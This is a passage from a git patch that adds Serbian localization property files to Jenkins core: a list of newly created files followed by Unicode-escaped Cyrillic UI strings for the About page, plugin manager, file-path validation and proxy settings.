core/src/main/resources/hudson/tools/InstallSourceProperty/config_sr.properties create mode 100644 core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/credentialOK_sr.properties create mode 100644 core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties create mode 100644 core/src/main/resources/hudson/tools/JDKInstaller/config_sr.properties create mode 100644 core/src/main/resources/hudson/tools/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/tools/ToolInstallation/config_sr.properties create mode 100644 core/src/main/resources/hudson/tools/ToolInstallation/global_sr.properties create mode 100644 core/src/main/resources/hudson/tools/ToolLocationNodeProperty/config_sr.properties create mode 100644 core/src/main/resources/hudson/tools/ZipExtractionInstaller/config_sr.properties create mode 100644 core/src/main/resources/hudson/tools/label_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/AdministrativeMonitorImpl/message_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/BuildAction/index_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/SCMAction/index_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/config_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/global_sr.properties create mode 100644 core/src/main/resources/hudson/triggers/TimerTrigger/config_sr.properties create mode 100644 core/src/main/resources/hudson/util/AWTProblem/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/AdministrativeError/message_sr.properties create mode 100644 core/src/main/resources/hudson/util/DoubleLaunchChecker/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/HudsonFailedToLoad/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/HudsonIsLoading/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/HudsonIsRestarting/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/IncompatibleAntVersionDetected/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/IncompatibleServletVersionDetected/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/IncompatibleVMDetected/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/JenkinsReloadFailed/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties create mode 100644 core/src/main/resources/hudson/util/NoTempDir/index_sr.properties create mode 100644 core/src/main/resources/hudson/views/GlobalDefaultViewConfiguration/config_sr.properties create mode 100644 core/src/main/resources/hudson/views/JobColumn/columnHeader_sr.properties create mode 100644 core/src/main/resources/hudson/views/LastDurationColumn/column_sr.properties create mode 100644 core/src/main/resources/hudson/views/LastStableColumn/columnHeader_sr.properties create mode 100644 core/src/main/resources/hudson/views/LastStableColumn/column_sr.properties create mode 100644 core/src/main/resources/hudson/views/LastSuccessColumn/column_sr.properties create mode 100644 core/src/main/resources/hudson/views/Messages_sr.properties create mode 100644 core/src/main/resources/hudson/views/MyViewsTabBar/GlobalConfigurationImpl/config_sr.properties create mode 100644 core/src/main/resources/hudson/views/ViewsTabBar/GlobalConfigurationImpl/config_sr.properties create mode 100644 core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_sr.properties create mode 100644 core/src/main/resources/hudson/widgets/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties create mode 100644 core/src/main/resources/jenkins/diagnosis/HsErrPidList/message_sr.properties create mode 100644 core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message_sr.properties create mode 100644 core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message_sr.properties create mode 100644 core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_sr.properties create mode 100644 core/src/main/resources/jenkins/install/SetupWizard/proxy-configuration_sr.properties create mode 100644 core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_sr.properties create mode 100644 core/src/main/resources/jenkins/install/UpgradeWizard/client-scripts_sr.properties create mode 100644 core/src/main/resources/jenkins/install/pluginSetupWizard_sr.properties create mode 100644 core/src/main/resources/jenkins/management/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/management/PluginsLink/info_sr.properties create mode 100644 core/src/main/resources/jenkins/model/BuildDiscarderProperty/config-details_sr.properties create mode 100644 core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties create mode 100644 core/src/main/resources/jenkins/model/CoreEnvironmentContributor/buildEnv_sr.properties create mode 100644 core/src/main/resources/jenkins/model/DownloadSettings/Warning/message_sr.properties create mode 100644 core/src/main/resources/jenkins/model/DownloadSettings/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/GlobalCloudConfiguration/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/GlobalNodePropertiesConfiguration/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/GlobalProjectNamingStrategyConfiguration/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/GlobalQuietPeriodConfiguration/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/GlobalSCMRetryCountConfiguration/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/MasterComputer/configure_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/_cli_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/_restart_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/_safeRestart_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/accessDenied_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/downgrade_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/legend_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/load-statistics_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/loginError_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/login_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/newView_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/noPrincipal_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/projectRelationship_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Jenkins/threadDump_sr.properties create mode 100644 core/src/main/resources/jenkins/model/JenkinsLocationConfiguration/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/MasterBuildConfiguration/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/model/ProjectNamingStrategy/PatternProjectNamingStrategy/config_sr.properties create mode 100644 core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index_sr.properties create mode 100644 core/src/main/resources/jenkins/model/identity/IdentityRootAction/index_sr.properties create mode 100644 core/src/main/resources/jenkins/model/item_category/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/mvn/FilePathGlobalSettingsProvider/config_sr.properties create mode 100644 core/src/main/resources/jenkins/mvn/FilePathSettingsProvider/config_sr.properties create mode 100644 core/src/main/resources/jenkins/mvn/GlobalMavenConfig/config_sr.properties create mode 100644 core/src/main/resources/jenkins/mvn/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/security/ApiTokenProperty/config_sr.properties create mode 100644 core/src/main/resources/jenkins/security/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties create mode 100644 core/src/main/resources/jenkins/security/s2m/AdminCallableMonitor/message_sr.properties create mode 100644 core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index_sr.properties create mode 100644 core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties create mode 100644 core/src/main/resources/jenkins/slaves/systemInfo/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/tools/GlobalToolConfiguration/index_sr.properties create mode 100644 core/src/main/resources/jenkins/triggers/Messages_sr.properties create mode 100644 core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_sr.properties create mode 100644 core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items_sr.properties create mode 100644 core/src/main/resources/lib/form/apply_sr.properties create mode 100644 core/src/main/resources/lib/form/booleanRadio_sr.properties create mode 100644 core/src/main/resources/lib/form/expandableTextbox_sr.properties create mode 100644 core/src/main/resources/lib/form/helpLink_sr.properties create mode 100644 core/src/main/resources/lib/form/hetero-list_sr.properties create mode 100644 core/src/main/resources/lib/form/repeatableDeleteButton_sr.properties create mode 100644 core/src/main/resources/lib/form/repeatable_sr.properties create mode 100644 core/src/main/resources/lib/form/serverTcpPort_sr.properties create mode 100644 core/src/main/resources/lib/form/slave-mode_sr.properties create mode 100644 core/src/main/resources/lib/hudson/artifactList_sr.properties create mode 100644 core/src/main/resources/lib/hudson/buildListTable_sr.properties create mode 100644 core/src/main/resources/lib/hudson/listScmBrowsers_sr.properties create mode 100644 core/src/main/resources/lib/hudson/newFromList/form_sr.properties create mode 100644 core/src/main/resources/lib/hudson/node_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/build-permalink_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-assignedLabel_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-blockWhenDownstreamBuilding_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-blockWhenUpstreamBuilding_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-buildWrappers_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-builders_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-concurrentBuild_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-customWorkspace_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-disableBuild_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-publishers2_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-publishers_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-quietPeriod_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-retryCount_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-scm_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-trigger_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/config-upstream-pseudo-trigger_sr.properties create mode 100644 core/src/main/resources/lib/hudson/project/console-link_sr.properties create mode 100644 core/src/main/resources/lib/hudson/propertyTable_sr.properties create mode 100644 core/src/main/resources/lib/hudson/scriptConsole_sr.properties create mode 100644 core/src/main/resources/lib/hudson/thirdPartyLicenses_sr.properties create mode 100644 core/src/main/resources/lib/layout/main-panel_sr.properties create mode 100644 core/src/main/resources/lib/layout/pane_sr.properties create mode 100644 core/src/main/resources/lib/layout/progressiveRendering_sr.properties create mode 100644 core/src/main/resources/lib/layout/task_sr.properties create mode 100644 core/src/main/resources/lib/test/bar_sr.properties diff --git a/core/src/main/resources/hudson/AboutJenkins/index_sr.properties b/core/src/main/resources/hudson/AboutJenkins/index_sr.properties new file mode 100644 index 0000000000..c490046deb --- /dev/null +++ b/core/src/main/resources/hudson/AboutJenkins/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +about=\u041E Jenkins-\u0443 {0} +blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430 \u043A\u043E\u043D\u0442\u0438\u043D\u0443\u0438\u0440\u0430\u043D\u0443 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0458\u0443 \u0441\u0430 \u043E\u0442\u0432\u043E\u0440\u0435\u043D\u0438\u043C \u0438\u0437\u0432\u043E\u0440\u043D\u0438\u043C \u043A\u043E\u0434\u043E\u043C. +dependencies=Jenkins \u0437\u0430\u0432\u0438\u0441\u0438 \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0438\u0445 \u0431\u0438\u0431\u043B\u0438\u043E\u0442\u0435\u043A\u0430 +No\ information\ recorded=\u041D\u0435\u043C\u0430 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 +static.dependencies=\u0421\u0442\u0430\u0442\u0443\u0447\u043A\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0438 +plugin.dependencies=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u043B\u0438\u0446\u0435\u043D\u0446\u0438 \u0438 \u043C\u043E\u0434\u0443\u043B\u0438\u043C\u0430: diff --git a/core/src/main/resources/hudson/Messages_sr.properties b/core/src/main/resources/hudson/Messages_sr.properties new file mode 100644 index 0000000000..325a8bd0c8 --- /dev/null +++ b/core/src/main/resources/hudson/Messages_sr.properties @@ -0,0 +1,47 @@ +# This file is under the MIT License by authors + +Util.millisecond={0} {0,choice,0#\u043C\u0438\u043B\u0438\u0441\u0435\u043A\u0443\u043D\u0434\u0438|1#\u043C\u0438\u043B\u0438\u0441\u0435\u043A\u0443\u043D\u0434\u0430|1<\u043C\u0438\u043B\u0438\u0441\u0435\u043A\u0443\u043D\u0434\u0438} +Util.second={0} {0,choice,0#\u0441\u0435\u043A\u0443\u043D\u0434\u0438|1#\u0441\u0435\u043A\u0443\u043D\u0434\u0430|1\u0441\u0435\u043A\u0443\u043D\u0434\u0438} +Util.hour={0} {0,choice,0#\u0447\u0430\u0441\u0430|1#\u0447\u0430\u0441|1<\u0447\u0430\u0441\u0430} +Util.minute={0} {0,choice,0#\u043C\u0438\u043D\u0443\u0442\u0438|1#\u043C\u0438\u043D\u0443\u0442\u0430|1<\u043C\u0438\u043D\u0443\u0442\u0438} +Util.day={0} {0,choice,0#\u0434\u0430\u043D\u0430|1#\u0434\u0430\u043D|1<\u0434\u0430\u043D\u0430} +Util.month={0} {0,choice,0#\u043C\u0435\u0441\u0435\u0446\u0430|1#\u043C\u0435\u0441\u0435\u0446|1<\u043C\u0435\u0441\u0435\u0446\u0430} +Util.year={0} {0,choice,0#\u0433\u043E\u0434\u0438\u043D\u0435|1#\u0433\u043E\u0434\u0438\u043D\u0430|1<\u0433\u043E\u0434\u0438\u043D\u0435} +FilePath.TildaDoesntWork=\u2018~\u2019 \u0458\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u043D\u043E \u0441\u0430\u043C\u043E \u0443\u043D\u0443\u0442\u0430\u0440 Unix shell \u0430 \u043D\u0438\u0433\u0434\u0435 \u0434\u0440\u0443\u0433\u0434\u0435. +Util.pastTime={0} +FilePath.did_not_manage_to_validate_may_be_too_sl=\u041F\u0440\u043E\u0432\u0435\u0440\u0430 {0} \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u0430, \u043C\u043E\u0433\u0443\u045B\u0435 \u0434\u0430 \u0458\u0435 \u0432\u0430\u0448 \u0440\u0430\u0447\u0443\u043D\u0430\u0440 \u0441\u0443\u0432\u0438\u0448\u0435 \u0441\u043F\u043E\u0440. +FilePath.validateAntFileMask.whitespaceSeprator=\u041F\u0440\u0430\u0437\u043D\u0438\u043D\u0435 \u043D\u0435\u043C\u043E\u0433\u0443 \u0432\u0438\u0448\u0435 \u0441\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u043A\u0430\u043E \u0441\u0435\u043F\u0430\u0440\u0430\u0442\u043E\u0440. \u0423\u043C\u0435\u0441\u0442\u043E \u045A\u0438\u0445 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u0437\u0430\u0440\u0435\u0437 '','' +FilePath.validateAntFileMask.doesntMatchAndSuggest=\u0420\u0435\u0437\u0443\u043B\u0442\u0430\u0442 "{0}" \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D, \u043C\u0435\u0452\u0443\u0442\u0438\u043C, \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E \u0458\u0435 ''{1}''. \u041C\u043E\u0436\u0434\u0430 \u0441\u0442\u0435 \u043C\u0438\u0441\u043B\u0438\u043B\u0438 \u043E \u0442\u0438\u043C\u0435? +FilePath.validateAntFileMask.doesntMatchAnything="{0}" \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E +FilePath.validateAntFileMask.portionMatchAndSuggest=\u0420\u0435\u0437\u0443\u043B\u0442\u0430\u0442 "{0}" \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D, \u043C\u0435\u0452\u0443\u0442\u0438\u043C, \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E \u0458\u0435 ''{1}''. +FilePath.validateAntFileMask.portionMatchButPreviousNotMatchAndSuggest="{0}" \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E:, ''{1}'' \u043F\u043E\u0441\u0442\u043E\u0458\u0438, \u0430 \u043D\u0435 ''{2}''. +FilePath.validateAntFileMask.matchWithCaseInsensitive="{0}" \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E, \u0437\u0430\u0448\u0442\u043E \u0441\u0435 \u043F\u0440\u0430\u0432\u0438 \u0440\u0430\u0437\u043B\u0438\u043A\u0430 \u0438\u0437\u043C\u0435\u0452\u0443 \u0432\u0435\u043B\u0438\u043A\u0438\u043C \u0438 \u043C\u0430\u043B\u0438\u043C \u0441\u043B\u043E\u0432\u0438\u043C\u0430. \u041F\u0440\u043E\u0431\u0430\u0458\u0442\u0435 \u0438\u0441\u043A\u0459\u0443\u0447\u0438\u0442\u0438 \u0440\u0430\u0437\u043B\u0438\u043A\u043E\u0432\u0430\u045A\u0435. +FilePath.validateAntFileMask.doesntMatchAnythingAndSuggest="{0}" \u043D\u0438\u0458\u0435 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u043E: \u043D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u043D\u0438 "{1}" +FilePath.validateRelativePath.wildcardNotAllowed=\u0417\u043D\u0430\u043A '*' \u043D\u0435 \u043C\u043E\u0436\u0435 \u0434\u0430 \u0441\u0435 \u043E\u0432\u0434\u0435 \u043A\u043E\u0440\u0438\u0441\u0442\u0438 +FilePath.validateRelativePath.notFile=\u2018{0}\u2019 \u043D\u0438\u0458\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 +FilePath.validateRelativePath.noSuchFile=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430: \u2018{0}\u2019 +FilePath.validateRelativePath.notDirectory=\u2018{0}\u2019 \u043D\u0438\u0458\u0435 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C +FilePath.validateRelativePath.noSuchDirectory=\u041D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C: \u2018{0}\u2019 +PluginManager.PluginDoesntSupportDynamicLoad.RestartRequired=\u041C\u043E\u0434\u0443\u043B\u0430 {0} \u043D\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u0432\u0430 \u0434\u0438\u043D\u0430\u043C\u0438\u0447\u043D\u043E \u0443\u0447\u0438\u0442\u0430\u045A\u0435. Jenkins \u0442\u0440\u0435\u0431\u0430 \u0434\u0430 \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0435\u0440\u0435\u043D\u0435 \u0434\u0430 \u0431\u0438 \u0434\u0435\u0458\u0441\u0442\u0432\u043E\u0432\u0430\u043B\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0435. +PluginManager.PluginIsAlreadyInstalled.RestartRequired=\u041C\u043E\u0434\u0443\u043B\u0430 {0} \u0458\u0435 \u0432\u0435\u045B \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0430. Jenkins \u0442\u0440\u0435\u0431\u0430 \u0434\u0430 \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0435\u0440\u0435\u043D\u0435 \u0434\u0430 \u0431\u0438 \u0434\u0435\u0458\u0441\u0442\u0432\u043E\u0432\u0430\u043B\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0435. +PluginManager.DisplayName=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u043C\u043E\u0434\u0443\u043B\u0438\u043C\u0430 +PluginManager.PortNotANumber=\u0412\u0440\u0435\u0434\u043D\u043E\u0441\u0442 \u043F\u043E\u0440\u0442\u0430 \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u0431\u0440\u043E\u0458 +PluginManager.PortNotInRange=\u0411\u0440\u043E\u0458 \u043F\u043E\u0440\u0442\u0430 \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u0438\u0437\u043C\u0435\u0452\u0443 {0} \u0438 {1} +PluginManager.UploadPluginsPermission.Description=\u041F\u0440\u0430\u0432\u043E \u0437\u0430 \u043E\u0442\u043F\u0440\u0435\u043C\u0430\u045A\u0435 \u043C\u043E\u0434\u0443\u043B\u0430 \u0434\u0430\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u043D\u043E\u0441\u0442 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0443 \u0434\u0430 \u043E\u0442\u043F\u0440\u0435\u043C\u0438 \u0441\u0432\u043E\u0458\u0435 \u043C\u043E\u0434\u0443\u043B\u0435. +PluginManager.ConfigureUpdateCenterPermission.Description= +AboutJenkins.DisplayName=\u041E Jenkins-\u0443 +AboutJenkins.Description=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0432\u0435\u0440\u0437\u0438\u0458\u0438 \u0438 \u043B\u0438\u0446\u0435\u043D\u0446\u0438. +ProxyConfiguration.TestUrlRequired=URL \u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430 \u0442\u0435\u0441\u0442\u0438\u0440\u0430\u045A\u0435 \u043C\u043E\u0440\u0430 \u0431\u0438\u0442\u0438 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E. +ProxyConfiguration.MalformedTestUrl=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u043D\u0430 \u0442\u0435\u0441\u0442 URL \u0430\u0434\u0440\u0435\u0441\u0430: {0}. +ProxyConfiguration.FailedToConnectViaProxy=\u0423\u0441\u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u045A\u0435 \u0432\u0435\u0437\u0435 \u0441\u0430 {0} \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E. +ProxyConfiguration.FailedToConnect=\u0423\u0441\u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u045A\u0435 \u0432\u0435\u0437\u0435 \u0441\u0430 {0} \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E (\u043A\u043E\u0434: {1}). +ProxyConfiguration.Success=\u0423\u0441\u043F\u0435\u0448\u043D\u043E +Functions.NoExceptionDetails=\u041D\u0435\u043C\u0430 \u0434\u0435\u0442\u0430\u0459\u0430 \u043E \u0433\u0440\u0435\u0448\u0446\u0438 +PluginWrapper.missing={0}, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 {1} \u043D\u0435 \u043F\u043E\u0441\u0442\u043E\u0458\u0438. \u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458\u0442\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 {1} \u0438\u043B\u0438 \u043D\u043E\u0432\u0438\u0458\u0435. +PluginWrapper.failed_to_load_plugin=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u0443\u0447\u0438\u0442\u0430\u0438 {0}, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 {1}. +PluginWrapper.failed_to_load_dependency=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u0443\u0447\u0438\u0442\u0430\u0438 {0}, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 {1}. \u041F\u0440\u0432\u043E \u043D\u0430\u0452\u0438\u0442\u0435 \u0440\u0435\u0448\u0435\u045A\u0435. +PluginWrapper.disabledAndObsolete={0}, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 {1} \u0458\u0435 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u043E \u0438 \u043F\u0440\u0435\u0441\u0442\u0430\u0440\u043E. \u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458\u0442\u0435 \u0438 \u043E\u043C\u043E\u0433\u0443\u045B\u0438\u0442\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 {2} \u0438\u043B\u0438 \u043D\u043E\u0432\u0438\u0458\u0435. +PluginWrapper.disabled={0}, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 {1} \u0458\u0435 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u043E. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u043E\u043C\u043E\u0433\u0443\u045B\u0438\u0442\u0435 \u043E\u0432\u0443 \u043C\u043E\u0434\u0443\u043B\u0443. +PluginWrapper.obsolete={0}, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 {1} \u0458\u0435 \u0441\u0442\u0430\u0440\u0438\u0458\u0435 \u043D\u0435\u0433\u043E \u0448\u0442\u043E \u0458\u0435 \u043F\u043E\u0434\u0440\u0436\u0430\u043D\u043E. \u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u0458\u0442\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 {2} \u0438\u043B\u0438 \u043D\u043E\u0432\u0438\u0458\u0435. +PluginWrapper.obsoleteCore=\u041C\u043E\u0440\u0430\u0442\u0435 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u0442\u0438 Jenkins \u0441\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0435 {0} \u043D\u0430 {1} \u0438\u043B\u0438 \u043D\u043E\u0432\u0438\u0458\u0435 \u0434\u0430 \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0438 \u043E\u0432\u0443 \u043C\u043E\u0434\u0443\u043B\u0443. +TcpSlaveAgentListener.PingAgentProtocol.displayName=\u041F\u0440\u043E\u0442\u043E\u043A\u043E\u043B 'ping' \ No newline at end of file diff --git a/core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message_sr.properties b/core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message_sr.properties new file mode 100644 index 0000000000..a581c6ee19 --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/PluginCycleDependenciesMonitor/message_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +PluginCycles=\u0421\u043B\u0435\u0434\u0435\u045B\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0441\u0443 \u0438\u0441\u043A\u0459\u0443\u0447\u0435\u043D\u0438 \u0437\u0431\u043E\u0433 \u043A\u0440\u0443\u0436\u043D\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0442\u043D\u043E\u0441\u0442\u0438 \u0448\u0442\u043E \u0432\u0435\u0440\u043E\u0432\u0430\u043D\u0442\u043E \u043C\u043E\u0436\u0435\u0442\u0435 \u0440\u0435\u0448\u0438\u0442\u0438 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435\u043C \u043D\u0430 \u043D\u043E\u0432\u0438\u0458\u0443 \u0432\u0435\u0440\u0437\u0438\u0458\u0443. diff --git a/core/src/main/resources/hudson/PluginManager/PluginUpdateMonitor/message_sr.properties b/core/src/main/resources/hudson/PluginManager/PluginUpdateMonitor/message_sr.properties new file mode 100644 index 0000000000..97296e7de6 --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/PluginUpdateMonitor/message_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +RequiredPluginUpdates=\u0421\u043B\u0435\u0434\u0435\u045B\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0437\u0430\u0445\u0442\u0435\u0432\u0430\u0458\u0443 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435. diff --git a/core/src/main/resources/hudson/PluginManager/advanced_sr.properties b/core/src/main/resources/hudson/PluginManager/advanced_sr.properties new file mode 100644 index 0000000000..99f4d1a1e1 --- /dev/null +++ b/core/src/main/resources/hudson/PluginManager/advanced_sr.properties @@ -0,0 +1,20 @@ +# This file is under the MIT License by authors + +Update\ Center=\u0426\u0435\u043D\u0442\u0430\u0440 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +HTTP\ Proxy\ 